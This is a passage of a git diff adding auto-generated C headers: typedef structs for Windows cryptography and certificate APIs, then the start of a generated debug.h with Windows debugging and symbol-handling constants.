unsigned int dwMaxUrlRetrievalByteCount; + void* pPreFetchInfo; + void* pFlushInfo; + void* ppResponseInfo; + void* pwszCacheFileNamePrefix; + void* pftCacheResync; + BOOL fProxyCacheRetrieval; + unsigned int dwHttpStatusCode; + void* ppwszErrorResponseHeaders; + void* ppErrorContentBlob; +} CRYPT_RETRIEVE_AUX_INFO; + +typedef struct _BCRYPT_DSA_PARAMETER_HEADER { + unsigned int cbLength; + unsigned int dwMagic; + unsigned int cbKeyLength; + unsigned char Count[4]; + unsigned char Seed[20]; + unsigned char q[20]; +} BCRYPT_DSA_PARAMETER_HEADER; + +typedef struct _NCRYPT_PCP_HMAC_AUTH_SIGNATURE_INFO { + unsigned int dwVersion; + int iExpiration; + unsigned char pabNonce[32]; + unsigned char pabPolicyRef[32]; + unsigned char pabHMAC[32]; +} NCRYPT_PCP_HMAC_AUTH_SIGNATURE_INFO; + +typedef struct _NCRYPT_SSL_ECC_CURVE { + unsigned short szCurveName[255]; + unsigned char szOID[255]; + unsigned int dwPublicKeyLength; + unsigned int dwCurveType; + unsigned int dwFlags; +} NCRYPT_SSL_ECC_CURVE; + +typedef struct _CRYPTNET_URL_CACHE_RESPONSE_INFO { + unsigned int cbSize; + unsigned short wResponseType; + unsigned short wResponseFlags; + void* LastModifiedTime; + unsigned int dwMaxAge; + void* pwszETag; + unsigned int dwProxyId; +} CRYPTNET_URL_CACHE_RESPONSE_INFO; + +typedef struct _CRYPT_IMAGE_REG { + void* pszImage; + unsigned int cInterfaces; + void* rgpInterfaces; +} CRYPT_IMAGE_REG; + +typedef struct _CRYPT_RSA_SSA_PSS_PARAMETERS { + void* HashAlgorithm; + void* MaskGenAlgorithm; + unsigned int dwSaltLength; + unsigned int dwTrailerField; +} CRYPT_RSA_SSA_PSS_PARAMETERS; + +typedef struct _CERT_SERVER_OCSP_RESPONSE_OPEN_PARA { + unsigned int cbSize; + unsigned int dwFlags; + void* pcbUsedSize; + void* pwszOcspDirectory; + void* pfnUpdateCallback; + void* pvUpdateCallbackArg; +} CERT_SERVER_OCSP_RESPONSE_OPEN_PARA; + +typedef struct _NCRYPT_KEY_ACCESS_POLICY_BLOB { + unsigned int dwVersion; + unsigned int dwPolicyFlags; + unsigned int cbUserSid; + unsigned int cbApplicationSid; +} NCRYPT_KEY_ACCESS_POLICY_BLOB; + +typedef struct _CERT_TEMPLATE_EXT { + void* pszObjId; + unsigned int dwMajorVersion; + BOOL fMinorVersion; + unsigned int dwMinorVersion; +} CERT_TEMPLATE_EXT; + +typedef struct _CRYPT_GET_TIME_VALID_OBJECT_EXTRA_INFO { + unsigned int cbSize; + int iDeltaCrlIndicator; + void* pftCacheResync; + void* pLastSyncTime; + void* pMaxAgeTime; + void* pChainPara; + void* pDeltaCrlIndicator; +} CRYPT_GET_TIME_VALID_OBJECT_EXTRA_INFO; + +typedef struct _SIGNER_SUBJECT_INFO { + unsigned int cbSize; + void* pdwIndex; + void* dwSubjectChoice; + void* Anonymous; +} SIGNER_SUBJECT_INFO; + +typedef struct _CERT_POLICY_MAPPINGS_INFO { + unsigned int cPolicyMapping; + void* rgPolicyMapping; +} CERT_POLICY_MAPPINGS_INFO; + +typedef struct _CTL_CONTEXT { + unsigned int dwMsgAndCertEncodingType; + void* pbCtlEncoded; + unsigned int cbCtlEncoded; + void* pCtlInfo; + void* hCertStore; + void* hCryptMsg; + void* pbCtlContent; + unsigned int cbCtlContent; +} CTL_CONTEXT; + +typedef struct _CRYPT_VERIFY_CERT_SIGN_WEAK_HASH_INFO { + unsigned int cCNGHashAlgid; + void* rgpwszCNGHashAlgid; + unsigned int dwWeakIndex; +} CRYPT_VERIFY_CERT_SIGN_WEAK_HASH_INFO; + +typedef struct _CRYPT_XML_DOC_CTXT { + unsigned int cbSize; + void* hDocCtxt; + void* pTransformsConfig; + unsigned int cSignature; + void* rgpSignature; +} CRYPT_XML_DOC_CTXT; + +typedef struct _CMSG_KEY_AGREE_KEY_ENCRYPT_INFO { + unsigned int cbSize; + void* EncryptedKey; +} CMSG_KEY_AGREE_KEY_ENCRYPT_INFO; + +typedef struct _BCRYPT_PROVIDER_NAME { + void* pszProviderName; +} BCRYPT_PROVIDER_NAME; + +typedef struct _NCRYPT_KEY_BLOB_HEADER { + unsigned int cbSize; + unsigned int dwMagic; + unsigned int cbAlgName; + unsigned int cbKeyData; +} NCRYPT_KEY_BLOB_HEADER; + +typedef struct _CERT_REVOCATION_PARA { + unsigned int cbSize; + void* pIssuerCert; + unsigned int cCertStore; + void* rgCertStore; + void* hCrlStore; + void* pftTimeToUse; +} CERT_REVOCATION_PARA; + +typedef struct _CRYPT_VERIFY_CERT_SIGN_STRONG_PROPERTIES_INFO { + void* CertSignHashCNGAlgPropData; + void* CertIssuerPubKeyBitLengthPropData; +} CRYPT_VERIFY_CERT_SIGN_STRONG_PROPERTIES_INFO; + +typedef struct _CRYPT_XML_DATA_PROVIDER { + void* pvCallbackState; + unsigned int cbBufferSize; + void* pfnRead; + void* pfnClose; +} CRYPT_XML_DATA_PROVIDER; + +typedef struct _CARD_DH_AGREEMENT_INFO { + unsigned int dwVersion; + unsigned char bContainerIndex; + unsigned int dwFlags; + unsigned int dwPublicKey; + void* pbPublicKey; + void* pbReserved; + unsigned int cbReserved; + unsigned char bSecretAgreementIndex; +} CARD_DH_AGREEMENT_INFO; + +typedef struct _CRYPT_DECODE_PARA { + unsigned int cbSize; + void* pfnAlloc; + void* pfnFree; +} CRYPT_DECODE_PARA; + +typedef struct _CMSG_MAIL_LIST_RECIPIENT_INFO { + unsigned int dwVersion; + void* KeyId; + void* KeyEncryptionAlgorithm; + void* EncryptedKey; + void* Date; + void* pOtherAttr; +} CMSG_MAIL_LIST_RECIPIENT_INFO; + +typedef struct _CRYPT_ECC_CMS_SHARED_INFO { + void* Algorithm; + void* EntityUInfo; + unsigned char rgbSuppPubInfo[4]; +} CRYPT_ECC_CMS_SHARED_INFO; + +typedef struct _CERT_OR_CRL_BLOB { + unsigned int dwChoice; + unsigned int cbEncoded; + void* pbEncoded; +} CERT_OR_CRL_BLOB; + +typedef struct _CERT_CONTEXT { + void* dwCertEncodingType; + void* pbCertEncoded; + unsigned int cbCertEncoded; + void* pCertInfo; + void* hCertStore; +} CERT_CONTEXT; + +typedef struct _CTL_USAGE_MATCH { + unsigned int dwType; + void* Usage; +} CTL_USAGE_MATCH; + +typedef struct _CRYPT_PROVIDER_REF { + unsigned int dwInterface; + void* pszFunction; + void* pszProvider; + unsigned int cProperties; + void* rgpProperties; + void* pUM; + void* pKM; +} CRYPT_PROVIDER_REF; + +typedef struct _CRYPT_ENROLLMENT_NAME_VALUE_PAIR { + void* pwszName; + void* pwszValue; +} CRYPT_ENROLLMENT_NAME_VALUE_PAIR; + +typedef struct _CERT_EXTENSION { + void* pszObjId; + BOOL fCritical; + void* Value; +} CERT_EXTENSION; + +typedef struct _CERT_STORE_PROV_FIND_INFO { + unsigned int cbSize; + unsigned int dwMsgAndCertEncodingType; + unsigned int dwFindFlags; + unsigned int dwFindType; + void* pvFindPara; +} CERT_STORE_PROV_FIND_INFO; + +typedef struct _CRYPT_XML_KEY_INFO { + unsigned int cbSize; + void* wszId; + unsigned int cKeyInfo; + void* rgKeyInfo; + void* hVerifyKey; +} CRYPT_XML_KEY_INFO; + +typedef struct _RECIPIENTPOLICY2 { + void* recipient; + void* issuer; + void* tokenType; + void* requiredClaims; + void* optionalClaims; + void* privacyUrl; + unsigned int privacyVersion; +} RECIPIENTPOLICY2; + +typedef struct _CERT_X942_DH_PARAMETERS { + void* p; + void* g; + void* q; + void* j; + void* pValidationParams; +} CERT_X942_DH_PARAMETERS; + +typedef struct _CRYPT_URL_ARRAY { + unsigned int cUrl; + void* rgwszUrl; +} CRYPT_URL_ARRAY; + +typedef struct _NCryptProviderName { + void* pszName; + void* pszComment; +} NCryptProviderName; + +typedef struct _HCRYPTASYNC { + long long Value; +} HCRYPTASYNC; + +typedef struct _ROOT_INFO_LUID { + unsigned int LowPart; + int HighPart; +} ROOT_INFO_LUID; + +typedef struct _CRYPT_XML_CRYPTOGRAPHIC_INTERFACE { + unsigned int cbSize; + void* fpCryptXmlEncodeAlgorithm; + void* fpCryptXmlCreateDigest; + void* fpCryptXmlDigestData; + void* fpCryptXmlFinalizeDigest; + void* fpCryptXmlCloseDigest; + void* fpCryptXmlSignData; + void* fpCryptXmlVerifySignature; + void* fpCryptXmlGetAlgorithmInfo; +} CRYPT_XML_CRYPTOGRAPHIC_INTERFACE; + +typedef struct _NCRYPT_VBS_ROOT_ATTESTATION_HEADER { + unsigned int Magic; + unsigned int Version; + unsigned int cbAttributes; + unsigned int cbNonce; + unsigned int cbReport; + unsigned int cbSignature; +} NCRYPT_VBS_ROOT_ATTESTATION_HEADER; + +typedef struct _CRYPT_XML_PROPERTY { + void* dwPropId; + void* pvValue; + unsigned int cbValue; +} CRYPT_XML_PROPERTY; + +typedef struct _PKCS12_PBES2_EXPORT_PARAMS { + unsigned int dwSize; + void* hNcryptDescriptor; + void* pwszPbes2Alg; +} PKCS12_PBES2_EXPORT_PARAMS; + +typedef struct _CMSG_STREAM_INFO { + unsigned int cbContent; + void* pfnStreamOutput; + void* pvArg; +} CMSG_STREAM_INFO; + +typedef struct _CERT_OR_CRL_BUNDLE { + unsigned int cItem; + void* rgItem; +} CERT_OR_CRL_BUNDLE; + +typedef struct _CERT_LDAP_STORE_OPENED_PARA { + void* pvLdapSessionHandle; + void* pwszLdapUrl; +} CERT_LDAP_STORE_OPENED_PARA; + +typedef struct _CERT_NAME_INFO { + unsigned int cRDN; + void* rgRDN; +} CERT_NAME_INFO; + +typedef struct _CRYPT_IMAGE_REF { + void* pszImage; + void* dwFlags; +} CRYPT_IMAGE_REF; + +typedef struct _CERT_CHAIN { + unsigned int cCerts; + void* certs; + void* keyLocatorInfo; +} CERT_CHAIN; + +typedef struct _BCRYPT_PQDSA_PADDING_INFO { + void* pbCtx; + unsigned int cbCtx; + void* pszPrehashAlgId; +} BCRYPT_PQDSA_PADDING_INFO; + +typedef struct _CRYPT_CONTEXT_FUNCTION_CONFIG { + unsigned int dwFlags; + unsigned int dwReserved; +} CRYPT_CONTEXT_FUNCTION_CONFIG; + +typedef struct _CRYPT_OID_INFO { + unsigned int cbSize; + void* pszOID; + void* pwszName; + unsigned int dwGroupId; + void* Anonymous; + void* ExtraInfo; +} CRYPT_OID_INFO; + +typedef struct _CERT_CHAIN_POLICY_STATUS { + unsigned int cbSize; + unsigned int dwError; + int lChainIndex; + int lElementIndex; + void* pvExtraPolicyStatus; +} CERT_CHAIN_POLICY_STATUS; + +typedef struct _CLMD_PIV_PUBLIC_KEY_DATA { + unsigned int dwVersion; + unsigned char bKeyId; + void* pbPublicKey; + unsigned int cbPublicKey; +} CLMD_PIV_PUBLIC_KEY_DATA; + +typedef struct _CLAIMLIST { + unsigned int count; + void* claims; +} CLAIMLIST; + +typedef struct _NCRYPT_TPM_PLATFORM_ATTESTATION_STATEMENT { + unsigned int Magic; + unsigned int Version; + unsigned int pcrAlg; + unsigned int cbSignature; + unsigned int cbQuote; + unsigned int cbPcrs; +} NCRYPT_TPM_PLATFORM_ATTESTATION_STATEMENT; + +typedef struct _CERT_ACCESS_DESCRIPTION { + void* pszAccessMethod; + void* AccessLocation; +} CERT_ACCESS_DESCRIPTION; + +typedef struct _CTL_FIND_USAGE_PARA { + unsigned int cbSize; + void* SubjectUsage; + void* ListIdentifier; + void* pSigner; +} CTL_FIND_USAGE_PARA; + +typedef struct _CRYPT_CONTEXT_CONFIG { + void* dwFlags; + unsigned int dwReserved; +} CRYPT_CONTEXT_CONFIG; + +typedef struct _CMSG_SIGNER_ENCODE_INFO { + unsigned int cbSize; + void* pCertInfo; + void* Anonymous; + unsigned int dwKeySpec; + void* HashAlgorithm; + void* pvHashAuxInfo; + unsigned int cAuthAttr; + void* rgAuthAttr; + unsigned int cUnauthAttr; + void* rgUnauthAttr; +} CMSG_SIGNER_ENCODE_INFO; + +typedef struct _OCSP_REQUEST_INFO { + unsigned int dwVersion; + void* pRequestorName; + unsigned int cRequestEntry; + void* rgRequestEntry; + unsigned int cExtension; + void* rgExtension; +} OCSP_REQUEST_INFO; + +typedef struct _VTableProvStrucW { + unsigned int Version; + void* FuncVerifyImage; + void* FuncReturnhWnd; + unsigned int dwProvType; + void* pbContextInfo; + unsigned int cbContextInfo; + void* pszProvName; +} VTableProvStrucW; + +typedef struct _CONTAINER_INFO { + unsigned int dwVersion; + unsigned int dwReserved; + unsigned int cbSigPublicKey; + void* pbSigPublicKey; + unsigned int cbKeyExPublicKey; + void* pbKeyExPublicKey; +} CONTAINER_INFO; + +typedef struct _CRYPT_OID_FUNC_ENTRY { + void* pszOID; + void* pvFuncAddr; +} CRYPT_OID_FUNC_ENTRY; + +typedef struct _CRYPT_ECC_PRIVATE_KEY_INFO { + unsigned int dwVersion; + void* PrivateKey; + void* szCurveOid; + void* PublicKey; +} CRYPT_ECC_PRIVATE_KEY_INFO; + +typedef struct _NCRYPT_UI_POLICY { + unsigned int dwVersion; + unsigned int dwFlags; + void* pszCreationTitle; + void* pszFriendlyName; + void* pszDescription; +} NCRYPT_UI_POLICY; + +typedef struct _CERT_RDN { + unsigned int cRDNAttr; + void* rgRDNAttr; +} CERT_RDN; + +typedef struct _CMSG_RECIPIENT_ENCRYPTED_KEY_ENCODE_INFO { + unsigned int cbSize; + void* RecipientPublicKey; + void* RecipientId; + void* Date; + void* pOtherAttr; +} CMSG_RECIPIENT_ENCRYPTED_KEY_ENCODE_INFO; + +typedef struct _INFORMATIONCARD_SYMMETRIC_CRYPTO_PARAMETERS { + int keySize; + int blockSize; + int feedbackSize; +} INFORMATIONCARD_SYMMETRIC_CRYPTO_PARAMETERS; + +typedef struct _CERT_POLICIES_INFO { + unsigned int cPolicyInfo; + void* rgPolicyInfo; +} CERT_POLICIES_INFO; + +typedef struct _INFORMATIONCARD_HASH_CRYPTO_PARAMETERS { + int hashSize; + void* transform; +} INFORMATIONCARD_HASH_CRYPTO_PARAMETERS; + +typedef struct _CERT_REGISTRY_STORE_CLIENT_GPT_PARA { + void* hKeyBase; + void* pwszRegPath; +} CERT_REGISTRY_STORE_CLIENT_GPT_PARA; + +typedef struct _CRYPT_PRIVATE_KEY_INFO { + unsigned int Version; + void* Algorithm; + void* PrivateKey; + void* pAttributes; +} CRYPT_PRIVATE_KEY_INFO; + +typedef struct _BCRYPT_PSS_PADDING_INFO { + void* pszAlgId; + unsigned int cbSalt; +} BCRYPT_PSS_PADDING_INFO; + +typedef struct _NCRYPT_VBS_IDENTITY_ATTESTATION_PADDING { + unsigned int Version; + unsigned int ulPaddingScheme; + unsigned int cbHashAlg; + unsigned int ulSalt; +} NCRYPT_VBS_IDENTITY_ATTESTATION_PADDING; + +typedef struct _CRL_DIST_POINT_NAME { + unsigned int dwDistPointNameChoice; + void* Anonymous; +} CRL_DIST_POINT_NAME; + +typedef struct _BCRYPT_DSA_KEY_BLOB { + void* dwMagic; + unsigned int cbKey; + unsigned char Count[4]; + unsigned char Seed[20]; + unsigned char q[20]; +} BCRYPT_DSA_KEY_BLOB; + +typedef struct _CERT_SYSTEM_STORE_RELOCATE_PARA { + void* Anonymous1; + void* Anonymous2; +} CERT_SYSTEM_STORE_RELOCATE_PARA; + +typedef struct _CERT_POLICY_QUALIFIER_INFO { + void* pszPolicyQualifierId; + void* Qualifier; +} CERT_POLICY_QUALIFIER_INFO; + +typedef struct _CMC_TAGGED_CERT_REQUEST { + unsigned int dwBodyPartID; + void* SignedCertRequest; +} CMC_TAGGED_CERT_REQUEST; + +typedef struct _NCRYPT_TPM_PERSISTENT_KEY_BLOB_HEADER { + unsigned int magic; + unsigned int cbHeader; + unsigned int tpmHandle; +} NCRYPT_TPM_PERSISTENT_KEY_BLOB_HEADER; + +typedef struct _CRYPT_TIME_STAMP_REQUEST_INFO { + void* pszTimeStampAlgorithm; + void* pszContentType; + void* Content; + unsigned int cAttribute; + void* rgAttribute; +} CRYPT_TIME_STAMP_REQUEST_INFO; + +typedef struct _AUTHENTICODE_TS_EXTRA_CERT_CHAIN_POLICY_PARA { + unsigned int cbSize; + unsigned int dwRegPolicySettings; + BOOL fCommercial; +} AUTHENTICODE_TS_EXTRA_CERT_CHAIN_POLICY_PARA; + +typedef struct _CRYPT_TIMESTAMP_ACCURACY { + unsigned int dwSeconds; + unsigned int dwMillis; + unsigned int dwMicros; +} CRYPT_TIMESTAMP_ACCURACY; + +typedef struct _BCRYPT_PKCS1_PADDING_INFO { + void* pszAlgId; +} BCRYPT_PKCS1_PADDING_INFO; + +typedef struct _CERT_STORE_PROV_INFO { + unsigned int cbSize; + unsigned int cStoreProvFunc; + void* rgpvStoreProvFunc; + void* hStoreProv; + void* dwStoreProvFlags; + void* hStoreProvFuncAddr2; +} CERT_STORE_PROV_INFO; + +typedef struct _CRYPT_URL_INFO { + unsigned int cbSize; + unsigned int dwSyncDeltaTime; + unsigned int cGroup; + void* rgcGroupEntry; +} CRYPT_URL_INFO; + +typedef struct _BCRYPT_ALG_HANDLE { + void* Value; +} BCRYPT_ALG_HANDLE; + +typedef struct _CMSG_CTRL_DEL_SIGNER_UNAUTH_ATTR_PARA { + unsigned int cbSize; + unsigned int dwSignerIndex; + unsigned int dwUnauthAttrIndex; +} CMSG_CTRL_DEL_SIGNER_UNAUTH_ATTR_PARA; + +typedef struct _RECIPIENTPOLICY { + void* recipient; + void* issuer; + void* tokenType; + void* requiredClaims; + void* optionalClaims; + void* privacyUrl; + unsigned int privacyVersion; +} RECIPIENTPOLICY; + +typedef struct _BCRYPT_RNG_FUNCTION_TABLE { + void* Version; + void* OpenAlgorithmProvider; + void* GetProperty; + void* SetProperty; + void* CloseAlgorithmProvider; + void* GenRandom; +} BCRYPT_RNG_FUNCTION_TABLE; + +typedef struct _CERT_BASIC_CONSTRAINTS_INFO { + void* SubjectType; + BOOL fPathLenConstraint; + unsigned int dwPathLenConstraint; + unsigned int cSubtreesConstraint; + void* rgSubtreesConstraint; +} CERT_BASIC_CONSTRAINTS_INFO; + +typedef struct _BCRYPT_MLKEM_KEY_BLOB { + unsigned int dwMagic; + unsigned int cbParameterSet; + unsigned int cbKey; +} BCRYPT_MLKEM_KEY_BLOB; + +typedef struct _CRYPT_DEFAULT_CONTEXT_MULTI_OID_PARA { + unsigned int cOID; + void* rgpszOID; +} CRYPT_DEFAULT_CONTEXT_MULTI_OID_PARA; + +typedef struct _CMSG_SIGNER_INFO { + unsigned int dwVersion; + void* Issuer; + void* SerialNumber; + void* HashAlgorithm; + void* HashEncryptionAlgorithm; + void* EncryptedHash; + void* AuthAttrs; + void* UnauthAttrs; +} CMSG_SIGNER_INFO; + +typedef struct _CRYPT_DES_KEY_STATE { + unsigned char Key[8]; + unsigned char IV[8]; + unsigned char Feedback[8]; +} CRYPT_DES_KEY_STATE; + +typedef struct _BCRYPT_DH_KEY_BLOB { + void* dwMagic; + unsigned int cbKey; +} BCRYPT_DH_KEY_BLOB; + +typedef struct _PUBKEY { + unsigned int magic; + unsigned int bitlen; +} PUBKEY; + +typedef struct _CRYPT_CONTEXTS { + unsigned int cContexts; + void* rgpszContexts; +} CRYPT_CONTEXTS; + +typedef struct _NCRYPT_TPM_LOADABLE_KEY_BLOB_HEADER { + unsigned int magic; + unsigned int cbHeader; + unsigned int cbPublic; + unsigned int cbPrivate; + unsigned int cbName; +} NCRYPT_TPM_LOADABLE_KEY_BLOB_HEADER; + +typedef struct _SSL_ECCKEY_BLOB { + unsigned int dwCurveType; + unsigned int cbKey; +} SSL_ECCKEY_BLOB; + +typedef struct _OCSP_SIGNED_REQUEST_INFO { + void* ToBeSigned; + void* pOptionalSignatureInfo; +} OCSP_SIGNED_REQUEST_INFO; + +typedef struct _CMC_RESPONSE_INFO { + unsigned int cTaggedAttribute; + void* rgTaggedAttribute; + unsigned int cTaggedContentInfo; + void* rgTaggedContentInfo; + unsigned int cTaggedOtherMsg; + void* rgTaggedOtherMsg; +} CMC_RESPONSE_INFO; + +typedef struct _CERT_CHAIN_POLICY_PARA { + unsigned int cbSize; + void* dwFlags; + void* pvExtraPolicyPara; +} CERT_CHAIN_POLICY_PARA; + +typedef struct _CERT_PHYSICAL_STORE_INFO { + unsigned int cbSize; + void* pszOpenStoreProvider; + unsigned int dwOpenEncodingType; + unsigned int dwOpenFlags; + void* OpenParameters; + unsigned int dwFlags; + unsigned int dwPriority; +} CERT_PHYSICAL_STORE_INFO; + +typedef struct _CERT_REVOCATION_INFO { + unsigned int cbSize; + unsigned int dwRevocationResult; + void* pszRevocationOid; + void* pvOidSpecificInfo; + BOOL fHasFreshnessTime; + unsigned int dwFreshnessTime; + void* pCrlInfo; +} CERT_REVOCATION_INFO; + +typedef struct _CPS_URLS { + void* pszURL; + void* pAlgorithm; + void* pDigest; +} CPS_URLS; + +typedef struct _GENERIC_XML_TOKEN { + void* createDate; + void* expiryDate; + void* xmlToken; + void* internalTokenReference; + void* externalTokenReference; +} GENERIC_XML_TOKEN; + +typedef struct _InFileSignatureResource { + unsigned int dwVersion; + unsigned int dwCrcOffset; + unsigned char rgbSignature[88]; +} InFileSignatureResource; + +typedef struct _BCRYPT_ALGORITHM_IDENTIFIER { + void* pszName; + unsigned int dwClass; + unsigned int dwFlags; +} BCRYPT_ALGORITHM_IDENTIFIER; + +typedef struct _CRYPT_XML_BLOB { + void* dwCharset; + unsigned int cbData; + void* pbData; +} CRYPT_XML_BLOB; + +typedef struct _BCRYPT_OAEP_PADDING_INFO { + void* pszAlgId; + void* pbLabel; + unsigned int cbLabel; +} BCRYPT_OAEP_PADDING_INFO; + +typedef struct _CERT_QC_STATEMENTS_EXT_INFO { + unsigned int cStatement; + void* rgStatement; +} CERT_QC_STATEMENTS_EXT_INFO; + +typedef struct _CRL_REVOCATION_INFO { + void* pCrlEntry; + void* pCrlContext; + void* pCrlIssuerChain; +} CRL_REVOCATION_INFO; + +typedef struct _BCRYPT_KEY_DATA_BLOB_HEADER { + unsigned int dwMagic; + unsigned int dwVersion; + unsigned int cbKeyData; +} BCRYPT_KEY_DATA_BLOB_HEADER; + +typedef struct _CRYPT_CONTEXT_FUNCTION_PROVIDERS { + unsigned int cProviders; + void* rgpszProviders; +} CRYPT_CONTEXT_FUNCTION_PROVIDERS; + +typedef struct _CRYPT_ATTRIBUTES { + unsigned int cAttr; + void* rgAttr; +} CRYPT_ATTRIBUTES; + +typedef struct _HMAC_INFO { + void* HashAlgid; + void* pbInnerString; + unsigned int cbInnerString; + void* pbOuterString; + unsigned int cbOuterString; +} HMAC_INFO; + +typedef struct _CERT_BASIC_CONSTRAINTS2_INFO { + BOOL fCA; + BOOL fPathLenConstraint; + unsigned int dwPathLenConstraint; +} CERT_BASIC_CONSTRAINTS2_INFO; + +typedef struct _SIGNER_PROVIDER_INFO { + unsigned int cbSize; + void* pwszProviderName; + unsigned int dwProviderType; + unsigned int dwKeySpec; + void* dwPvkChoice; + void* Anonymous; +} SIGNER_PROVIDER_INFO; + +typedef struct _CMC_ADD_ATTRIBUTES_INFO { + unsigned int dwCmcDataReference; + unsigned int cCertReference; + void* rgdwCertReference; + unsigned int cAttribute; + void* rgAttribute; +} CMC_ADD_ATTRIBUTES_INFO; + +typedef struct _CERT_OTHER_LOGOTYPE_INFO { + void* pszObjId; + void* LogotypeInfo; +} CERT_OTHER_LOGOTYPE_INFO; + +typedef struct _CERT_KEY_CONTEXT { + unsigned int cbSize; + void* Anonymous; + unsigned int dwKeySpec; +} CERT_KEY_CONTEXT; + +typedef struct _CRYPT_ATTRIBUTE_TYPE_VALUE { + void* pszObjId; + void* Value; +} CRYPT_ATTRIBUTE_TYPE_VALUE; + +typedef struct _BCRYPT_DSA_PARAMETER_HEADER_V2 { + unsigned int cbLength; + unsigned int dwMagic; + unsigned int cbKeyLength; + void* hashAlgorithm; + void* standardVersion; + unsigned int cbSeedLength; + unsigned int cbGroupSize; + unsigned char Count[4]; +} BCRYPT_DSA_PARAMETER_HEADER_V2; + +typedef struct _NCRYPT_KEY_STORAGE_FUNCTION_TABLE { + void* Version; + void* OpenProvider; + void* OpenKey; + void* CreatePersistedKey; + void* GetProviderProperty; + void* GetKeyProperty; + void* SetProviderProperty; + void* SetKeyProperty; + void* FinalizeKey; + void* DeleteKey; + void* FreeProvider; + void* FreeKey; + void* FreeBuffer; + void* Encrypt; + void* Decrypt; + void* IsAlgSupported; + void* EnumAlgorithms; + void* EnumKeys; + void* ImportKey; + void* ExportKey; + void* SignHash; + void* VerifySignature; + void* PromptUser; + void* NotifyChangeKey; + void* SecretAgreement; + void* DeriveKey; + void* FreeSecret; + void* KeyDerivation; + void* CreateClaim; + void* VerifyClaim; +} NCRYPT_KEY_STORAGE_FUNCTION_TABLE; + +typedef struct _NCRYPT_SSL_CIPHER_LENGTHS { + unsigned int cbLength; + unsigned int dwHeaderLen; + unsigned int dwFixedTrailerLen; + unsigned int dwMaxVariableTrailerLen; + unsigned int dwFlags; +} NCRYPT_SSL_CIPHER_LENGTHS; + +typedef struct _CERT_BIOMETRIC_DATA { + void* dwTypeOfBiometricDataChoice; + void* Anonymous; + void* HashedUrl; +} CERT_BIOMETRIC_DATA; + +typedef struct _CRYPT_ALGORITHM_IDENTIFIER { + void* pszObjId; + void* Parameters; +} CRYPT_ALGORITHM_IDENTIFIER; + +typedef struct _CRYPT_CREDENTIALS { + unsigned int cbSize; + void* pszCredentialsOid; + void* pvCredentials; +} CRYPT_CREDENTIALS; + +typedef struct _CMSG_CTRL_MAIL_LIST_DECRYPT_PARA { + unsigned int cbSize; + unsigned long long hCryptProv; + void* pMailList; + unsigned int dwRecipientIndex; + unsigned int dwKeyChoice; + void* Anonymous; +} CMSG_CTRL_MAIL_LIST_DECRYPT_PARA; + +typedef struct _CERT_TRUST_LIST_INFO { + unsigned int cbSize; + void* pCtlEntry; + void* pCtlContext; +} CERT_TRUST_LIST_INFO; + +typedef struct _SSL_F12_EXTRA_CERT_CHAIN_POLICY_STATUS { + unsigned int cbSize; + unsigned int dwErrorLevel; + unsigned int dwErrorCategory; + unsigned int dwReserved; + unsigned short wszErrorText[256]; +} SSL_F12_EXTRA_CERT_CHAIN_POLICY_STATUS; + diff --git a/stdlib/win32/debug.h b/stdlib/win32/debug.h new file mode 100644 index 0000000..97848ff --- /dev/null +++ b/stdlib/win32/debug.h @@ -0,0 +1,4274 @@ +// Generated by entc-win32gen from `Windows.Win32.System.Diagnostics.Debug`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define EXCEPTION_EXECUTE_HANDLER 1 +#define EXCEPTION_CONTINUE_SEARCH 0 +#define EXCEPTION_CONTINUE_EXECUTION -1 +#define WOW64_SIZE_OF_80387_REGISTERS 0x50 +#define WOW64_MAXIMUM_SUPPORTED_EXTENSION 0x200 +// SKIPPED const RESTORE_LAST_ERROR_NAME_A: non-integer constant +// SKIPPED const RESTORE_LAST_ERROR_NAME_W: non-integer constant +// SKIPPED const RESTORE_LAST_ERROR_NAME: non-integer constant +#define MAX_SYM_NAME 0x7d0 +#define BIND_NO_BOUND_IMPORTS 0x1 +#define BIND_NO_UPDATE 0x2 +#define BIND_ALL_IMAGES 0x4 +#define BIND_CACHE_IMPORT_DLLS 0x8 +#define BIND_REPORT_64BIT_VA 0x10 +#define CHECKSUM_SUCCESS 0x0 +#define CHECKSUM_OPEN_FAILURE 0x1 +#define CHECKSUM_MAP_FAILURE 0x2 +#define CHECKSUM_MAPVIEW_FAILURE 0x3 +#define CHECKSUM_UNICODE_FAILURE 0x4 +#define SPLITSYM_REMOVE_PRIVATE 0x1 +#define SPLITSYM_EXTRACT_ALL 0x2 +#define SPLITSYM_SYMBOLPATH_IS_SRC 0x4 +#define CERT_PE_IMAGE_DIGEST_DEBUG_INFO 0x1 +#define CERT_PE_IMAGE_DIGEST_RESOURCES 0x2 +#define CERT_PE_IMAGE_DIGEST_ALL_IMPORT_INFO 0x4 +#define CERT_PE_IMAGE_DIGEST_NON_PE_INFO 0x8 +#define CERT_SECTION_TYPE_ANY 0xff +#define ERROR_IMAGE_NOT_STRIPPED 0x8800 +#define ERROR_NO_DBG_POINTER 0x8801 +#define ERROR_NO_PDB_POINTER 0x8802 +#define UNDNAME_COMPLETE 0x0 +#define UNDNAME_NO_LEADING_UNDERSCORES 0x1 +#define UNDNAME_NO_MS_KEYWORDS 0x2 +#define UNDNAME_NO_FUNCTION_RETURNS 0x4 +#define UNDNAME_NO_ALLOCATION_MODEL 0x8 +#define UNDNAME_NO_ALLOCATION_LANGUAGE 0x10 +#define UNDNAME_NO_MS_THISTYPE 0x20 +#define UNDNAME_NO_CV_THISTYPE 0x40 +#define UNDNAME_NO_THISTYPE 0x60 +#define UNDNAME_NO_ACCESS_SPECIFIERS 0x80 +#define UNDNAME_NO_THROW_SIGNATURES 0x100 +#define UNDNAME_NO_MEMBER_TYPE 0x200 +#define UNDNAME_NO_RETURN_UDT_MODEL 0x400 +#define UNDNAME_32_BIT_DECODE 0x800 +#define UNDNAME_NAME_ONLY 0x1000 +#define UNDNAME_NO_ARGUMENTS 0x2000 +#define UNDNAME_NO_SPECIAL_SYMS 0x4000 +#define DBHHEADER_PDBGUID 0x3 +#define INLINE_FRAME_CONTEXT_INIT 0x0 +#define INLINE_FRAME_CONTEXT_IGNORE 0xffffffff +#define TARGET_ATTRIBUTE_PACMASK 0x1 +#define SYM_STKWALK_DEFAULT 0x0 +#define SYM_STKWALK_FORCE_FRAMEPTR 0x1 +#define 